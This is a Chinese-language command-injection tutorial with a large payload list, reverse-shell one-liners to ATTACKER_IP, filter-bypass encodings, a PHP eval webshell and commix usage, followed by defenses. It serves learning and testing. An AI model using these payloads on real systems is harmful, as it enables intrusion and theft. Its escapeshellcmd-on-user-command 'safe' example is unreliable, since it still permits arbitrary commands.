命令注入漏洞

漏洞概述

命令注入(Command Injection)攻击者通过在输入中注入系统命令,在服务器上执行任意命令。

OWASP Top 10: A03:2021
危害等级: ⭐⭐⭐⭐⭐


漏洞原理

应用程序将用户输入拼接到系统命令中执行:

// 不安全代码
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

// 攻击者输入:127.0.0.1; whoami
// 执行:ping -c 4 127.0.0.1; whoami

漏洞检测

基础测试

# 命令分隔符
127.0.0.1; whoami
127.0.0.1 | whoami
127.0.0.1 && whoami
127.0.0.1 || whoami

# 如果返回命令结果,说明存在注入

时间盲注

# Linux
127.0.0.1; sleep 5
127.0.0.1; ping -c 4 127.0.0.1

# Windows
127.0.0.1 & timeout /t 5
127.0.0.1 & ping -n 4 127.0.0.1

Payload 大全

命令分隔符

# 分号(Linux/Windows)
; whoami

# 管道(Linux/Windows)
| whoami
|| whoami
&& whoami

# 换行符(Linux)
%0a whoami
$'\n' whoami

# 反引号(Linux)
`whoami`
$(whoami)

常见命令

# 系统信息
whoami
id
uname -a
hostname
pwd

# 文件操作
ls -la
cat /etc/passwd
dir
type C:\windows\win.ini

# 网络信息
ifconfig
ip addr
netstat -an
ipconfig /all

# 进程信息
ps aux
tasklist

反弹 Shell

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Netcat
nc -e /bin/bash ATTACKER_IP 4444
nc -e /cmd.exe ATTACKER_IP 4444

# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

绕过技巧

空格绕过

# ${IFS} (Linux)
cat${IFS}/etc/passwd

# < > 重定向
cat</etc/passwd

# 制表符
cat%09/etc/passwd

# 花括号展开
{cat,/etc/passwd}

关键词过滤绕过

# Base64 编码
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash

# 十六进制编码
echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash

# 变量拼接
a=cat;b=/etc/passwd;$a $b

# 双写绕过
whonami → whoami

引号绕过

# 单引号
c'a't /etc/passwd

# 双引号
c"a"t /etc/passwd

# 反斜杠
\c\a\t /etc/passwd

工具检测

Commix

# 自动检测命令注入
commix --url="http://target.com/ping?ip=127.0.0.1"

# POST 注入
commix --url="http://target.com/ping" --data="ip=127.0.0.1"

# 自动利用
commix --url="http://target.com/ping?ip=127.0.0.1" --auto

Burp Suite

# 使用 Command Injection Scanner
# 或手动构造 Payload 测试

实战案例

案例 1: Ping 命令注入

# 漏洞代码
system("ping -c 4 " . $_GET['ip']);

# Payload
?ip=127.0.0.1;cat /etc/passwd

案例 2: DNS 查询注入

# 漏洞代码
exec("nslookup " . $_POST['domain']);

# Payload
domain=example.com;whoami

案例 3: 文件上传注入

# 漏洞代码
shell_exec("mv " . $_FILES['file']['tmp_name'] . " /uploads/" . $_FILES['file']['name']);

# Payload
filename=test.jpg;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

案例 4: 日志文件注入

# 写入 Webshell
echo "<?php @eval(\$_POST['cmd']);?>" > /var/www/html/shell.php

# 使用 user-agent
curl -H "User-Agent: <?php @eval(\$_POST['cmd']);?>" http://target.com/

防御建议

避免使用系统命令

// 使用内置函数代替
// 不安全
system("ls " . $dir);

// 安全
scandir($dir);

输入验证

// 白名单验证
$allowed_ips = ['127.0.0.1', '192.168.1.1'];
if (!in_array($ip, $allowed_ips)) {
    die('Invalid IP');
}

// 正则验证
if (!preg_match('/^[0-9.]+$/', $ip)) {
    die('Invalid IP');
}

参数化执行

// 使用 escapeshellarg
$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 $ip");

// 使用 escapeshellcmd
$cmd = escapeshellcmd($_GET['cmd']);
system($cmd);

最小权限原则

# 以低权限用户运行 Web 服务
# 限制可执行命令
# 使用 chroot 或容器隔离

参考链接